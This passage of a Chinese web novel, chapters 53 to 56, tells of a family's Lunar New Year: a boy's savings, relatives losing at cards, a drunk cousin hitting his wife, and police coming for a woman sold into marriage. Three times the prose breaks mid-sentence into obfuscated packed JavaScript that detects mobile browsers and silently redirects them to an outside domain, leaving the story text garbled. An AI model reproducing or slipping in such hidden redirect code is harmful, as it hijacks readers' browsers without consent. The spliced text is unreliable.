他就是看别的小孩玩摔炮眼馋,想着现在去买烟花,可以趁机让他爸给他买点摔炮玩。 黄文发犹豫了一下,他儿子就要往地上滚,也不管那地上脏不脏。 黄文发拿他没办法,要是让他滚地上,回家老太太知道了,肯定要不高兴:“行行行,现在带你去买,不许滚地上,不然老子抽你!” “你们等我一下,”黄文发对宁绍明道,“我先回去把手里这些放下,再跟你们一起去。” 一行人到了集上,再集市里遇到吴丽和黄文发的母亲手里大包小包地提着,还在买东西。 他看向黄文发,总觉得他说的东西买得差不多了,是为了去玩自我安慰的借口。 果不其然,等吴丽也注意到他们,张嘴就吐槽黄文发:“你不是说有事着急去办,怎么又来集上逛了?” 黄文发支支吾吾地回答:“没、那个、那件事不着急办了,吃完年夜饭再办也行。” 吴丽半信半疑:“既然不着急去办了,那等会儿帮我和妈把这些东西带回去,我们还要去买今晚上吃的菜。” 黄文发认命地接过东西,又往家里跑了一趟,把东西放好,再回来,云吞面都煮好了。 他们来的时候,集市还是人挤人,吃完云吞面,走出面店,外面集市已经快散了,很多摊位正在收摊,摊主大部分或者周边村子的本地人,中午也要回去杀鸡拜神祭祖。 还在周边的店铺逛着买东西的,几乎都是家在街上的人,而且大多手上提着东西,也快要回家了。 宁绍明和黄文发在几家烟花炮竹店里看了一圈,选择一家把所有东西全部买齐,也没花多少时间。 他们回到家时,才中午十二点多,放下东西,刚好可以开始杀鸡。 赵如月早选好了今天要杀的鸡。 宁绍明一回来,她立刻准备好一个用来接鸡血的小碗,往小碗里放了点清水和盐。 宁绍明先把两个孩子赶到屋里,然后拿起磨得锋利的菜刀,拔了拔鸡脖子上的毛,用刀利索地往鸡脖子上被拔掉毛的地方一抹。 鸡血恰好落到地上摆好的碗里。 赵如月手上拿着一支香,看到鸡血如碗,马上出去把大门口摆好的鞭炮点燃。 她现在点的鞭炮是去年春节剩下的,老家的规矩就是除夕第一卦鞭炮一定要用去年剩下的鞭炮。 赵如月也不知道为什么,老人都这么教,她就这么做了。 她觉得教她们这些后辈的老人们,没准也不知道为什么非得这样做。 因为从来没有一个老人能说得清楚,小孩子追根问底时,老人答不出来,还会恼羞成怒地骂:“人家都这么做,你也跟着做就是了,问那么多干什么!老祖宗传下来的规矩,小孩子不许多问!” 鞭炮声结束,硝烟味在空气中弥漫,这是鞭炮的味道,也是新年的味道。 抹脖子、接血、热水烫毛、拔毛、开膛破肚。 今天一次性杀了三只鸡,天井里热火朝天地处理着,一家人时不时互相说笑几句,宁老大一家和宁老二一家也聊得挺开心。 仿佛分家那天吵的那一架,一点也不影响双方的感情,双方都说一码归一码,吵归吵、闹归闹,血缘断不了,事情解决完依然是兄弟。 实际上心里真正的想法也只有他们自己知道了。 宁绍明在鹏城刚进厨房那一段时间,鸡处理得不少,已经练出来了,现在也处理得很快。 老大家和老二家还在处理内脏,他家的已经下锅开始煮了。 王海燕一看自家落后了,忍不住絮絮叨叨地埋怨起宁绍贤动作慢,要赶不上第一波拜神了。 宁绍贤压根不在乎什么快慢,王海燕念叨多了他烦躁,夫妻俩开始边干活边你来我往地吵起来。 好在他们还知道现在是过年,稍微克制了些,没吵得太激烈。 过年期间这种场景见多了,过年事情多,往年不是为了杀鸡的事吵,也会为了别的事吵起来,其他人自顾自地做着自己的事,管都懒得管。 宁绍明处理完一只鸡又去处理另一只,第一只拜神之后就要放在神台供神,要到初二那天才能拿下来吃,天气冷,摆着也不会坏。 他现在杀的就是今晚要吃的鸡。 除了鸡,还有各家各自买的肉和菜。 大人们做饭的时候,小孩子也不能闲着,要帮忙择菜、洗菜,还有里里外外地帮忙跑腿,摆桌子、摆碗筷、端菜。 每家几道菜,搬到饭桌上,满满当当一大桌,最后一个桌子都摆不下了,找了张旧桌子来拼到旁边才勉强放得下。 宁丹萍把最后一道汤端出来,放到桌子中间。 看着这满满的一桌菜,她忍不住咽了咽口水:“今年的菜可真是丰盛,比往年两年年夜饭的菜量都多!” 他哥宁时春端着一大锅饭走出来,刚好听见,也说道:“是啊,早知道分家后,过年能吃得那么好,应该早点分家才对。” 宁绍贤走出来,刚好听到自己儿子在说傻话,嗤笑一声说:“你可想得美!也就今年能这样凑一起,分家后各家年夜饭就各家吃了。” 宁时春不解:“为什么?爷爷奶奶还在,以后过年不是得到爷爷奶奶那里一起吃?” 三家都到爷爷奶奶那里年夜饭总不能全让爷爷奶奶准备吧? 宁绍贤吐了口烟给儿子解惑:“谁说的以后过年要到你爷爷奶奶那里一起吃?他们住的是你二叔家的房子,去他们那里相当于去你二叔家,每年都去,你二叔能乐意?” “那怎么办?” 宁绍贤:“还能怎么办,轮流呗,你爷爷奶奶明年过年来我们家,后年去你二叔家,大后年去你三叔家,没轮到的两家,过年给你爷爷奶奶送点东西就行,要是想聚在一起吃,三家商量好了,也可以。” 但经过分家的那一通事,今年过后,往后几年,聚一起吃是甭想了。 宁丹萍听完问道:“那我大姑回来,去哪家吃饭?” “三家都吃一遍。” “一天吃三家?吃得过来嘛?”她突然觉得吃饭也是一种负担。 “三家还算少的,老规矩就是这样,你过年的时候跟你奶奶回娘家,没注意到?” 宁丹萍撇嘴:“爸你忘了,奶奶没带我去过她娘家。” 宁时春:“也没带过我。” 王海燕走出来,刚好听到后面这几句,那些话一下子激起了她心里对婆婆偏心的埋怨。 可她又不能跑去骂婆婆,只好对着丈夫和子女骂骂咧咧:“还不是你们两个太蠢笨,不会讨人欢心,小时候还皮得很,太不招人喜欢,跟你们爸一个样,吃屎都赶不上热乎的!” 被骂的三个想反驳,可这时候有人从外面进来了,他们只好把话咽下去,忍着气去盛饭。 赵如月听到了他们对话,可她也不好说什么,谁让被偏心的是她的儿女呢。 她公婆去哪吃席都爱带着这两个小的,她也没办法。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794807|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>毕竟以前家里条件不好,去吃席就能吃到很多肉,有些席面全家都能去,有些只需要派一个人代表全家,去的时候,一个人带两个孩子主人家不会有意见,再多就不行了。 自己的孩子能跟着一起去,她高兴还来不及。 幸好现在日子好过了,以后日子会越来越好,还分了家,要不了几年,大家就再也不用为谁多吃了一口肉而斤斤计较。 过年期间最高兴的要数小孩子们。 看完除夕热热闹闹的烟花,再睡一觉。 第二天大年初一,就到了孩子们一年中口袋最鼓的一天。 这天早上,赵如月刚醒,人还迷糊着。 她闺女就趴在被窝里对她拱拱手喊:“妈妈新年好!祝妈妈身体健康、万事如意、新年大吉、事事顺利,恭喜发财,红包拿来!” 赵如月懵懵的,下意识想掏红包,却见红包从旁边递过来。 她转头看去,是宁绍明表情无奈的脸,而红包正是他递过来的。 看样子,他才是最早遭遇孩子被窝拜年的人。 宁时夏开开心心地拿到红包,转头就去催促哥哥起床带自己去拜年。 虽然她觉得自己已经学会了,完全可以自己去,但她年纪太小,长辈们怕她把钱弄丢,都说得有大孩子或者家长带着才行。 自从妹妹会说话,宁时秋年年被催,他已经习惯了,可以自动屏蔽掉妹妹的催促,按照自己的节奏,起床、穿衣服、洗漱。 吃早饭前,先带着妹妹去给爷爷奶奶拜年,在饭桌上遇到伯伯伯母们,又给伯伯伯母们拜年。 接着又去外公外婆家。 原本该是等大年初二妈妈回娘家那天,他们跟着一起去才会给妈妈那边的亲戚拜年拿红包。 但他们妈妈的娘家离得近,今天他们就可以去了,不用等到初二那天,别人家也是这样。 一圈下来,衣兜鼓鼓,兄妹俩回家又凑在一起拆红包数钱。 赵如月今天也没别的事干,清闲得很,一年中也就这个时候最轻松。 两个孩子拆红包的时候,她也坐在旁边看着两个小的算钱。 自从小秋知道花钱,她就没再收过这孩子的压岁钱,反正也不是很多,她想着难得过年,这些钱孩子花了就花了。 他们这里给在压岁钱这事上不攀比,一般都不会给太多,也就给五毛一块的。 也就比较近的亲人,比如父母、爷爷奶奶、外公外婆可能会给多点,但也就在两块到五块之间,关系远的亲戚还有给两毛的。 前两年赵如月还收小夏的,今年小夏被她哥带着,看起来也知道钱的用处了,赵如月就也没收小夏的。 小夏信任她哥哥得很,自己留了一点钱要买玩具和上街买好吃的,剩下的全给他哥帮忙收着了。 宁时秋自己也留出了一点,然后打开衣柜,拿出一个小布包。 赵如月认得这个小布包,之前她跟宁绍明打扫房间卫生,儿子不让动这个小布包,他们就没动。 现在才知道这原来是她儿子用来藏钱的。 宁时秋打开布包划拉一倒,那布包里的钱被倒出来,赵如月惊讶地发现,被倒出来的钱是一小捆一小捆整整齐齐的。 最多的是小捆的毛票,也有少数一块、两块、五块,甚至十块的。 然而更让她惊讶的还在后面。 宁时秋把钱倒出来后,数了数,又把今年拿到的压岁钱也分好,分别用小纸条捆起来。 接着把所有钱推到她面前:“妈妈,你可以帮我办一个存折,把这些钱存起来吗?听说把钱存在银行里有利息拿。” 54. 第 54 章 上辈子过年赵如月没回来,还真不知道宁时秋有这么多钱,看着得有三百多了。 宁老大家的时春十八了,兜里的钱还不一定有她儿子的多。 赵如月忽然想起后来丈夫去世后,儿子拿出来给她的一笔钱。 那笔钱可不少,她当时比现在还要震惊,以为儿子干了什么不好的事,还质问他。 弄清楚孩子没干坏事后,她拉不下脸来道歉,这事就这么不了了之了。 本来孩子帮她是好事,结果最后被她弄得大家都不高兴。 难道他们这么小的年纪就开始存了? 这回她可不能再那样了。 “小秋真聪明,竟然这么小年纪就知道钱存银行有利息拿。” 自己八岁的时候在干什么来着? 跟在她哥哥姐姐屁股后面爬树、套麻雀、抓鱼、玩泥巴、玩过家家、捉迷藏。 哦对了,还有跟孩子他爸打架…… 反正全都跟钱沾不上边,兜里别说一毛钱,连一分钱都拿不出来。 宁时秋被夸得有一点害羞,但他不觉得这是一件值得惊讶的事情。 他以为大家都知道,因为:“老师教过的。” 这话依然让久不接触学校和书本的赵如月十分震惊:“你们现在的老师这么厉害吗?竟然还给小朋友教这些知识。” 宁时秋:“可是我去外婆家,看到妈妈以前小学用的课本,上面也有呀。” “没有吧……”赵如月早不记得自己小学都学了什么。 “有,我都带回来了,我拿给你看。”宁时秋跑到衣柜前,打开抽屉,从角落摸出一把钥匙,打开他们用来当书桌写作业的木箱子。 那木箱子上盖着一个旧的枕巾当桌布,一个小竹根做的笔筒,应该是孩子让他们爷爷帮忙做的。 几本书和本子整整齐齐地叠放枕巾上,布置得简洁又好看。 宁时秋熟练地把上面的东西都挪开,然后用钥匙打开箱子,里面装着他的日记本,还有他和妹妹所有用不上的书。 包括去外婆家时,舅舅找出来的妈妈以前用过的书,也全归他们了。 赵如月看到那木箱子,第一反应是,趴在箱子上写作业看书,脚没地方放多难受啊,是不是要给两个孩子打一套合适的书桌椅了? 她敢说,街上给孩子准备书桌的人不超过十家,他们这里真的很不重视孩子的学习。 很多孩子从小都是趴在饭桌上、椅子上、床上、甚至站在供神台的八仙桌旁边写作业。 有些家长甚至觉得让孩子上完初中去打工,提前给家里挣钱,比供孩子去读书划算得多。 完全不管孩子成绩好不好,只看孩子能不能挣到钱。 以前她虽然不至于让孩子辍学,只要孩子能考得上,她砸锅卖铁也会继续供。 但是人难免受到环境影响,在有些地方,她跟镇上很多家长一样,总是会忽视这些孩子学习上的细节。 只会看孩子学习有没有退步或者进步,在学校有没有惹祸或者得奖。 在今天看到这个木箱之前,她跟宁绍明商量新家要准备什么家具,也完全没想到书桌。 要不是今天看到被充当书桌的木箱,他们可能要等到房子建成,搬进去后。 什么时候发现孩子需要一个书桌,才会意识到得给孩子添一个。 “妈妈你看。” 赵如月思绪乱飞时,宁时秋已经翻开她以前用过的教材,找到他说有教银行存款会有利息拿的地方。 她定睛一看:“这不是数学课本吗?”她还以为是思想品德或者语文课本上提过。 宁时秋不明白妈妈怎么还看不出来:“就是数学课本上教的呀,你看看这道应用题就说了,小明有一百块钱,存入银行一年有百分之五的利息。” 赵如月:“……”她觉得出应用题的人,应该没想教这个。 不过孩子能自己换着角度,挖掘新知识点也值得夸奖。 “儿子真厉害,妈妈以前都没想到还能这么学,不过银行存钱一年的利息不一定跟课本上一样,每个银行的利息也不同,要等年后银行工作人员上班,去问过才知道。” 她想了想说:“到时候我带你们去县城存。” 赵如月打算用他的名字开账户,镇上的农信社工作人员全都是本地人,她在镇上用儿子或者女儿的名字存,保不齐什么时候就被传出去,成了镇上的‘新闻’。 小地方包容度不高,一旦跟别人不一样,很难预料镇上的舆论是往好的方向还是坏的方向发展。 涉及孩子,赵如月觉得再谨慎都不为过。 “你们俩的钱混在一起存?” 两个孩子都点头。 宁时夏说:“我的钱太少啦,一个不小心就会用完,哥哥帮我存着可以留很久,我哥最会攒钱了,让他帮我拿着,我的钱会越来越多。” 其实他们也是怕她的钱被人哄走,以前有个邻居哥哥就想哄她把钱给他。 不过后来她哥哥来了,那个邻居哥哥没成功,还哭着求他们别告诉家长,他们就没跟家长说。 宁时秋拿出一个小本子翻开给妈妈看:“我都记账了,以后拿到的利息,也按照每个人存的钱来分,等妹妹学会自己管钱,你再给她自己办一个存折。” 赵如月想到自己刚回来时,想到的育儿方式,那就是孩子的事不懂别瞎管,她管出来的效果,还不一定有孩子自己发挥的效果好。 既然他们兄妹两个都商量好了,赵如月就顺势应下:“好,那我先帮你们把钱收起来?” 两个孩子再次点头。 宁时秋把钱交给妈妈后,放心地带着妹妹跑出去快乐消费了。 之前他藏着这些钱,总担心被人发现,爸爸妈妈不在,那么多钱被大人发现的话,肯定要上交给奶奶。 他知道这钱到了奶奶手上,就不是他和妹妹的钱了。 奶奶虽然有时候确实很疼他,但她可不会跟妈妈一样,允许小孩子拥有那么多钱。 爸爸妈妈回来之前,奶奶还悄悄问过他,今年的压岁钱给谁,要不要给她帮忙收着。 他说给爸爸,奶奶才没再问。 两个孩子今天可以跑出去玩,大人们却得在家待着,等住得近的亲戚家的孩子上门拜年,说清闲也清闲,只要应付一下来拜年的孩子就就行。 不过家里其他人亲戚少,很快应付完都出去串门了,赵如月还得继续在家待着。 因为她娘家人多孩子也多,早上到中午陆陆续续都有小孩子来拜年。 好在她家族里的长辈早就规定了,近亲的孩子给多少他们不管,堂表亲的孩子,统一给一块钱,不给大家添负担,她应付起来也轻松。 像邻居家没有亲戚关系的孩子,就只给三毛两毛的,然后再给孩子抓点糖果饼干塞兜里。 也就是像他们家和吴丽黄文发夫这样,大人之间关系特别好,才会给对方家孩子一块钱。 赵如月看着两个孩子出门,回来刚在火盆边坐下,对门同族堂弟赵鸿利家的两个孩子来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799220|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她看看时间,已经快十二点了,按说她们家在自家对面,应该早上就来的。 看两个孩子没说话就羞得满脸通红,走进来好一会儿都没吭声。 赵如月也不为难她们,直接拿出两个准备好的红包,塞进姐妹俩手里:“怎么这时候才来?是家里出什么事耽搁了吗?我早早就准备好你们的红包,就等着你们上门了,快拿着收好,可别让你们爸爸见到。” 让她那个堂弟见到,保准抢走买酒喝。 谁知听到她的话,两个孩子捏着红包,显得更局促了,吉利的话,含在嘴里怎么也说不出来。 赵如月一看,觉得真的很不对劲。 往年这两个孩子来她这里拜年,再害羞也不会表现得这样。 她看两个孩子实在不自在,就转移了话题,问道:“你们外婆的病好些了吗?你们妈妈昨天什么时候回来的?” 赵思莲小声回答:“我妈妈昨天上午回来的,说外婆的病还没好,她说初二去外婆家还要多待几天照顾外婆。” “这样啊,你妈妈这会儿在做什么?怎么不见她出门玩?” “我妈一大早吃过早饭就出门了,不知道去哪里。”赵思莲说话的时候,时不时往自己家那边看。 赵如月就觉得自己没准才对了。 她看不惯堂弟那行径,当即一手一个,拉着她们坐下,往她们手里塞吃的:“小秋带小夏出去玩了,那兄妹俩,今天中午肯定在街上买东西吃,不回家吃午饭了,你们多吃点,别着急回家,在我这里多玩一会儿,跟我聊聊天。” 她那个堂弟要是真等着孩子拿压岁钱回去,肯定心虚不敢来她家。 姐妹俩一开始有些坐立不安,还是时不时就往家那边看。 直到发现她们爸爸没过来叫她们回家,才放松下下来,吃到好吃的零食,脸上露出真心的笑容。 等两个孩子没那么防备,赵如月才又重新问她们怎么现在才来,往年她们因为就住在对面,是来得最早的。 她们妈妈也不会一大早就出门,不在家等人上门拜年。 赵鸿利有打老婆的前科,要是真出什么事,她也好去找族里的长辈管管。 赵思莲到底年纪小,比较单纯,在堂姑这里得到了一点温暖,就卸下了心防。 赵如月一问,什么都跟她说了。 “我爸天天喝酒,昨天吃年夜饭的时候,大伯说晚上十二点要准时放鞭炮,管着他不许他喝,他才没喝酒,谁知道晚上放完鞭炮,有人叫他去玩牌,他就去了,天蒙蒙亮才回来。” “早上有人来家里拜年,他起不来,来拜年的人就走了,等到他起床,人家又来拜年,他竟然说他没钱包红包,让别人随便吃点糖意思意思一下就赶紧走,别耽误他吃饭。” 赵思莲说着都想哭:“太丢人了,我去别人家里拜年,别人家大人给我红包,结果我爸一分不给别人家孩子,还把别人家孩子轰走,我妈也不在家,我都没脸出去见人了,今早他也没给小秋和小夏红包,还好意思叫我来你这里拜年……” 赵如月眉头不自觉皱起,问道:“你知道昨晚是谁叫你爸去哪里玩牌吗?” “是国兵叔来叫我爸去他家玩。” 又是这个梁国兵,昨晚上跟他一伙的方伟亮也来找宁绍明兄弟三个了。 宁绍明有了警惕心,没去,也劝他大哥二哥别去。 但是他们没把宁绍明的话听进去,两个人都去玩了。 分家的时候,他们分到手的那点钱,昨晚不会输光了吧? 55. 第 55 章 赵如月把两个小姑娘留在自己家,吃零食水果和她在烤火盆里放的红薯。 下午宁时秋和宁时夏在外面玩够了回家,四个小孩又一起在这里玩起来。 期间赵如月看到堂弟赵鸿利在门口转悠了好几圈,看起来很想进来,又不太敢,估计是怕被她骂。 有一次他估计做好了心里准备,想进来找两个孩子了。 却遇到宁绍明恰好回来,两人寒暄了几句,宁绍明就问他昨晚是不是去梁国兵家玩牌了。 赵鸿利支支吾吾说不出一句整话,宁绍明一看就知道他估计输了不少,还劝他以后别去了,挣了钱休整休整房子。 他家那房子也没比赵如月大姐夫那个刚娶傻子老婆的堂弟好多少,要不是年轻的时候,长得又那么几分人样,八成也娶不上媳妇儿。 结果娶了媳妇儿也不珍惜。 当然这些话宁绍明没傻愣愣地当着人家的面直说,宁绍明跟他当了那么多年的对门邻居,也知道劝他没用。 他只是看赵鸿利一直在自己家门口溜达,还往自己家里看,觉得不太对劲才过来随便说几句。 赵鸿利不耐烦被人唠叨,他说几句这人就会走了。 果不其然,宁绍明刚跟他说到在家种地不挣钱,让他也跟着去打工,赵鸿利立马找借口溜。 宁绍明进屋后,正要跟赵如月说,却看到赵鸿利的两个孩子都在这里。 赵如月背着两个孩子,悄悄把赵鸿利把过年的钱全输光,连给孩子红包的钱都不剩下的事,告诉了宁绍明。 他才恍然大悟:“赵鸿利现在可真不是个东西,小时候他也挺正常的,怎么现在变成这样了?那两个孩子也是可怜,让她们在家吃午饭吧,我现在去做点好的?” 赵如月说:“不用,过年哪个孩子还愿意吃饭吃菜,都更乐意吃平时吃不到的零食,对了,昨晚你大哥二哥都去梁国兵家玩牌了,你问过他们有没有输钱了吗?” 说到这个宁绍明就无奈:“我二哥输钱了,二嫂正跟他闹呢,只是两口子爱面子,没让人知道,他俩吵架吓到丹洁了,丹洁躲起来悄悄哭,被我发现了,我才知道的。” “至于我大哥……”宁绍明语气更无奈了,“他昨晚赢了点钱,正得意着呢,我跟他聊了几句,他说什么他又不傻,肯定知道见好就收,不会让自己吃亏,现在他这样子,连我爸妈都管不住他,更别说我这个当弟弟的,以后远着些吧。” 赵如月不相信什么见好就收,但她也管不了别人,只能捂紧自家的钱。 一直到傍晚快要吃晚饭了,赵思莲和赵思葵的妈妈冬兰回来,过来找孩子,赵如月才让姐妹俩跟她走。 赵如月也带着自己的两个孩子进去洗手,准备吃饭。 宁绍明烧了热水,倒在盆里给他们兑成温水,正要给孩子洗手。 突然听到叮叮哐哐的好几声砸东西的声音。 家里家里其他人一下子都从厨房里端着碗跑出来了。 王海燕抹了一把嘴上的油说道:“我听到外面动静那么大声,还以为是你们俩闹起来了。” 赵如月:“大嫂你这耳朵可不太灵啊,是外面的动静。” 王海燕一脸兴奋八卦的样子:“我得出去看看,听动静离我们家挺近,可别把我们家门口插的香给撞到了。” 其他人没说话,但看也是想看热闹的神情,一个个连碗都没放下,端着就跟在王海燕身后跑到门口去了,连老两口也不例外。 赵如月跟宁绍明对视一眼,也跟了出去。 走到外面才发现,是对门赵鸿利家闹出来的动静。 赵鸿利的老婆脸上顶着个巴掌印,跑到了门口站着低头抹着泪。 她哭着说:“那是孩子们的……” “你给老子闭嘴!” 她话没说完,就被赵鸿利粗暴的怒吼声打断了,看来他也知道被人知道丢人。 吼完就想把他老婆往家里拽。 他老婆不敢进去,抱着门口的电线杆子不松手。 这时候赵鸿利的大哥和大嫂听到动静,也出来劝。 赵鸿利大哥骂了他几句,把他拽到自己家去,他老婆才敢进屋。 一场闹剧被中止,其他人端着碗跟邻居凑在一起议论纷纷,说今天有不少人,两口子在家吵架。 那些吵架的人家里,十家有九家是因为其中一个去玩牌输了。 赵如月看了一眼站在不远处的二嫂,就见二嫂的脸色,从刚刚看热闹的兴奋,变成了阴沉板着脸。 大嫂则是一脸得意的样子,看起来像是很想炫耀一下自家男人玩牌赢了,可周围的人都说自家输了,好在没输太多,她就没敢说。 只是回到饭桌上,当着自家人的面,免不了状似不经意,实则嘚瑟地炫一下,只是她想要遮掩却遮不住的得意谁都能看得出来。 黄秀华和宁达看不惯这样的事,他们打从心底不乐意自家人沾那些。 当即制止王海燕:“别在孩子面前说这些!玩牌是什么好事吗?” 王海燕看公公婆婆的脸色都不太好,下意识听从他们的话噤声了。 快吃完饭时,她忽然想起来,现在分家了,自己以后可以当家做主,不用再看公婆的脸色,凭什么他们不让说自己就要听他们的? 她突然就有了逆反心理,本来已经吃饱了打算下桌,这下也不走了,端着个空碗坐着又开始说。 不过王海燕也有一点心眼,不再说自家男人赢了,也一直没提赢了多少,担心老三家以后建房子钱不够来借钱。 只夸张地说某某老公赢了不少,某某某老公也是,还有谁谁谁,赢得更多。 黄秀华瞪了她好几次,甚至后来直接出声让她别说了,还被她呛回来。 赵如月在她又开始说这些时,就拽着宁绍明,带着孩子出门了。 大年初二赵如月回娘家,吃饭的时候遇到赵鸿利。 两人不在同一桌,但是她坐的那一桌,也能听得到赵鸿利在兴高采烈地跟别人描述自己去玩牌的情形,叫别人也一起去玩。 不过初一那天见过不少夫妻吵架甚至打架,其他人都比较清醒,不像他那么容易上头。 只嘴上附和他几句,真让他们去的时候,他们也没去。 赵如月在娘家拜完年吃过饭,跟同样回娘家拜年的堂妹赵如玉,终于有了可以好好聊天的空闲时间。 一群从小一起玩耍,长大后又各自出嫁,有些一年也就见这么一次面的姐妹,围着烤火盆,问着各自的近况,时而又穿插一些身边的八卦,气氛很是热闹。 “如艳姐,听说姐夫家那个堂弟结婚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804317|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?娶的一个……傻子?”最后那个词压低了声音,但大家都听到了。 虽然只是丈夫堂弟娶傻子,但毕竟是自己婆家的事,每次被人问到这事,赵如艳也感觉有点丢脸。 一个家族里有人竟然娶个傻子,她总觉得别人会因此而看不起她婆家,觉得她嫁得不好。 “是啊,他那么大年纪,能娶上媳妇儿就不错了。”赵如艳含糊地应付了一句,正想转移话题,却见她大女儿抱着弟弟跑进来。 她正要骂女儿不知轻重,抱着弟弟还敢跑这么快,就听到女儿气喘吁吁地说:“妈,我大伯娘让我叫你和我爸赶紧去堂叔家,我堂叔要被警察抓走了!” 赵如月听到外甥女的话,剥花生的手一顿,接着又垂下眼若无其事地继续剥。 “什么!”赵如艳再也顾不上训女儿,赶忙起身去找丈夫。 其他人都没再说话。 直到赵如艳两口子带着孩子离开,众人才开始议论开来,纷纷问赵如月知不知道怎么回事。 赵如月两手一摊问什么都说:“不清楚,真不清楚。” 推说年前太忙,过年也忙,今天才有点清闲时间,实在没空去关注邻居家。 “要不我们去看看?”赵如玉想去看热闹,又不好意思自己一个人去,就拉着其他人一起,“别人要是问起来,就说我们去如月姐家玩。” 其他人好奇想去,赵如月也想看看是不是那个姑娘真正的家人找来了。 她们出了门,都不用往那个男人的家走,站在赵如月父母家门口就可以看到,有好几辆车停在那个男人家门口。 其中两辆是警车,还有四辆车没有明显的标识,看起来似乎是普通的私家车。 那个男人的家被车子和围观的人围了好几圈,赵如月几人想过都过不去。 吴丽也在人群中,看到赵如月,费劲钻到她这边:“听说他家后院也被车堵住了,看来他真的是犯了大罪,人家警察怕他跑呢。” 正说着话,里面传来男人的怒吼声,然后就是打砸声。 赵如月垫着脚往里看,想看看什么情况。 可她前面站着不少男的,视线被挡得严严实实,踮起脚也看不到什么,只能看着别人的后脑勺听动静。 直到赵如月听到一个有些耳熟的声音,跟她那天打电话时,听到的那个声音很像,她才彻底放下了心。 放下心后赵如月也不想再看了:“这里人挤人的,什么也看不到,还冷得要命,不如先回去烤火取取暖?等这里散了,我们问问我姐不就知道怎么回事了?” 其他姐妹比她还矮,也是什么都看不到。 于是听从她的提议,又原路返回,等消息去了。 赵如月往外挤的时候,差点被人撞到,那人一身酒臭味。 她不高兴地瞪过去,发现差点撞到自己的竟然是喝得醉醺醺的赵鸿利。 他跟人勾肩搭背地,正歪歪斜斜地往人群里挤,嘴里还嘟囔着什么老弟你信我、你手气那么旺,保准能赢、赢一晚上别说万元户,成十万元户都有可能、这不比打工来钱快多了之类的话。 赵如月皱了皱眉正要离开,不经意间一瞥,发现一个看着特别眼生的男人正盯着赵鸿利看。 那人看赵鸿利二人快挤出人群,悄不作声地跟了过去。 56. 第 56 章 赵如月几个人一直等到挺晚,男人们喝酒都散了,也没等到她大姐回来。 她们也只好先散了,各回各家,想着明天起床再跟人打听。 不过赵如月回家之后,倒是在宁绍明那里听到了全过程。 宁绍明本来在跟舅子们喝酒,听他们吹水。 听说有警察来,还以为是抓赌的。 担心他大哥今晚还去梁国兵那里赌钱被抓,他赶紧跑出去看。 结果走到一半才发现,不是去梁国兵家抓赌,而是去姐夫堂弟家打拐寻人。 晚上吃饭时,喝酒的跟不喝酒的不在同一家,他得到消息比赵如月她们快,所以来得也比她们早,站在人群靠前的位置。 虽然他面前也有人,但他个子比别人高,完全没被挡住,得以把事情看了个全程。 晚上两人回去说起这事,赵如月忍不住吐槽:“原来站在前面挡着我的那些后脑勺里,还有你的一个。” 宁绍明说:“你没挤到前面是对的,后来你大姐来了,女方家人跟大姐夫堂弟这边的人起冲突,大姐还叫我帮忙,你在的话,她肯定也叫你去帮忙撕扯人家姑娘的母亲和嫂子。” 赵如月瞪着眼睛诧异道:“大姐还上手了?她对人家母亲和嫂子动手之前,知道事情是怎么回事吗?” 宁绍明说:“知道,那家人一来就把事情说清楚了,后来也在不断重复地说,那姑娘的身世还挺复杂。” 赵如月只觉得她姐脑子越来越不清楚了:“我大姐怎么竟然是非不分,遇上这种事,还冲上去帮那男的,她抱着儿子都不乐意撒手,这会儿找个借口说要抱孩子,往后躲不行嘛!” “所以我说幸亏你不在,要不然帮也不是,不帮也不是,你在场,她叫你帮忙的时候你不帮,过后她肯定说你。” “她说我,我也不帮,”赵如月看向宁绍明,“你不会帮忙了吧?” 宁绍明摇头:“我说我喝多了站不稳,帮不上忙,就不去添乱了,有些邻居也被他们叫去帮忙,不过邻居们看到我这个亲戚都没动,那些邻居就也没动,过几天你大姐肯定要找你,让你回来指责我。” 赵如月呸了一下说:“我才不听她的!能糊弄过去就糊弄,糊弄不过去,大不了跟我大姐吵一架。” “对了,”赵如月问,“你说那姑娘的身世挺复杂,怎么个复杂法?” 宁绍明组织了一下语言说:“她的养父跟她亲生父亲是亲兄弟,她亲生父母孩子生得太多,养活不起,要把她扔掉。 她养父母看不过去,正好他们家只有两个儿子,没有闺女,经济条件也不错,三个孩子也养得起,就说可以过继这姑娘到他们家。” 赵如月恍然大悟:“我还以为她是被陌生人绑架拐卖,没想到竟然是亲生父母……怪不得上次我大姐说那姑娘长得跟那个自称是姑娘她妈的人挺像,原来不是巧合,真是亲妈啊!” 宁绍明继续说:“听她养父母说,刚过继时,还给了她亲生父母一些钱。” 